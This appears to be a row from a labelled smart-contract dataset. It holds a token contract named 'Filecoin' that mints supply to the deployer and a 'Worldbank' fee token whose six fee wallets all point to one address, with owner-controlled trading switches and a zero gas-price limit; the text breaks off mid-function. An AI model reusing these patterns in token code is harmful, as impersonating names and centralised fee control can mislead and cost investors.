require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract FIL is ERC20, ERC20Detailed {
constructor () public ERC20Detailed("Filecoin", "FIL", 18) {
_mint(msg.sender, 100000*10**18);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-12-26
*/
/**
*Submitted for verification at Etherscan.io on 2021-12-26
*/
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
//event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
//function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow. (easter egg from the genius dev @nomessages9.)
*/
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
}
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
require(b >= 0);
return b;
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Worldbank is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public constant deadAddress = address(0xdead);
bool private swapping;
address payable private dev1Wallet;
address payable private dev2Wallet;
address payable private dev3Wallet;
address payable private dev4Wallet;
address payable private dev5Wallet;
address payable public marketingWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
bool public limitsInEffect = false;
bool public tradingActive = false;
bool public swapEnabled = false;
bool private gasLimitActive = true;
uint256 private gasPriceLimit = 300 * 0 gwei; // do not allow over x gwei for launch 561 * 1 gwei;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
uint256 public buyTotalDevFees;
uint256 public sellTotalDevFees;
uint256 private buyDev1Fee;
uint256 private buyDev2Fee;
uint256 private buyDev3Fee;
uint256 private buyDev4Fee;
uint256 private buyDev5Fee;
uint256 public marketingFee;
uint256 private sellDev1Fee;
uint256 private sellDev2Fee;
uint256 private sellDev3Fee;
uint256 private sellDev4Fee;
uint256 private sellDev5Fee;
uint256 private tokensForDev1;
uint256 private tokensForDev2;
uint256 private tokensForDev3;
uint256 private tokensForDev4;
uint256 private tokensForDev5;
uint256 private tokensForMarketing;
/******************/
// exlcude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event BuyBackTriggered(uint256 amount);
event OwnerForcedSwapBack(uint256 timestamp);
constructor() ERC20("Worldbank", "WORLDBANK") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyDev1Fee = 4; //main dev
uint256 _buyDev2Fee = 3; //nft+p2e
uint256 _buyDev3Fee = 2; //website development
uint256 _buyDev4Fee = 2; //mods
uint256 _buyDev5Fee = 1; //buybacks
uint256 _marketingFee =3; //marketing
uint256 _sellDev1Fee = 7; //main dev
uint256 _sellDev2Fee = 3; //nft+p2e
uint256 _sellDev3Fee = 2; //website development
uint256 _sellDev4Fee = 2; //mods
uint256 _sellDev5Fee = 1; //buybacks
uint256 totalSupply = 1 * 1e12 * 1e18;
maxTransactionAmount = totalSupply * 5 / 1000; // 0.5% maxTransactionAmountTxn
maxWallet = totalSupply * 2 / 100; // 2% maxWallet
swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap wallet
buyDev1Fee = _buyDev1Fee;
buyDev2Fee = _buyDev2Fee;
buyDev3Fee = _buyDev3Fee;
buyDev4Fee = _buyDev4Fee;
buyDev5Fee = _buyDev5Fee;
marketingFee = _marketingFee;
sellDev1Fee = _sellDev1Fee;
sellDev2Fee = _sellDev2Fee;
sellDev3Fee = _sellDev3Fee;
sellDev4Fee = _sellDev4Fee;
sellDev5Fee = _sellDev5Fee;
buyTotalDevFees = _buyDev1Fee + _buyDev2Fee + _buyDev3Fee + _buyDev4Fee + _buyDev5Fee;
buyTotalDevFees += _marketingFee;
sellTotalDevFees = _sellDev1Fee + _sellDev2Fee + _sellDev3Fee + _sellDev4Fee + _sellDev5Fee;
dev1Wallet = payable(0x855Cf8545b259D2A686c4590436F5623125A5d86); // set as dev1 wallet
dev2Wallet = payable(0x855Cf8545b259D2A686c4590436F5623125A5d86); // set as dev2 wallet
dev3Wallet = payable(0x855Cf8545b259D2A686c4590436F5623125A5d86); // set as dev3 wallet
dev4Wallet = payable(0x855Cf8545b259D2A686c4590436F5623125A5d86); // set as dev4 wallet
dev5Wallet = payable(0x855Cf8545b259D2A686c4590436F5623125A5d86); // set as dev5 wallet
marketingWallet = payable(0x855Cf8545b259D2A686c4590436F5623125A5d86); //marketing wallet
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromFees(marketingWallet, true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
excludeFromMaxTransaction(marketingWallet, true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
}
receive() external payable {
}
// turn on trading
function enableTrading() external onlyOwner {
tradingActive = true;
swapEnabled = true;
}
// only for use in emergencies
/*function disableTrading() external onlyOwner {
tradingActive = false;
swapEnabled = false;
} */ //commenting out because we not beta
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool){
limitsInEffect = false;
gasLimitActive = false;
transferDelayEnabled = false;
return true;
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool){
transferDelayEnabled = false;
return true;
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply.");
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.5%");
maxTransactionAmount = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
event BoughtEarly(address indexed sniper);
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
// only use to prevent sniper buys in the first blocks.
if (gasLimitActive && automatedMarketMakerPairs[from]) {
require(tx.gasprice <= gasPriceLimit, "Gas price exceeds limit.");
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else {
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if(takeFee){
// on sell
if (automatedMarketMakerPairs[to] && sellTotalDevFees > 0){
fees = amount.mul(sellTotalDevFees).div(100);
tokensForDev1 += fees * sellDev1Fee / sellTotalDevFees;
tokensForDev2 += fees * sellDev2Fee / sellTotalDevFees;
tokensForDev3 += fees * sellDev3Fee / sellTotalDevFees;
tokensForDev4 += fees * sellDev4Fee / sellTotalDevFees;
tokensForDev5 += fees * sellDev5Fee / sellTotalDevFees;
}
// on buy
else if(automatedMarketMakerPairs[from] && buyTotalDevFees > 0) {
fees = amount.mul(buyTotalDevFees).div(100);
tokensForDev1 += fees * buyDev1Fee / buyTotalDevFees;
tokensForDev2 += fees * buyDev2Fee / buyTotalDevFees;
tokensForDev3 += fees * buyDev3Fee / buyTotalDevFees;
tokensForDev4 += fees * buyDev4Fee / buyTotalDevFees;
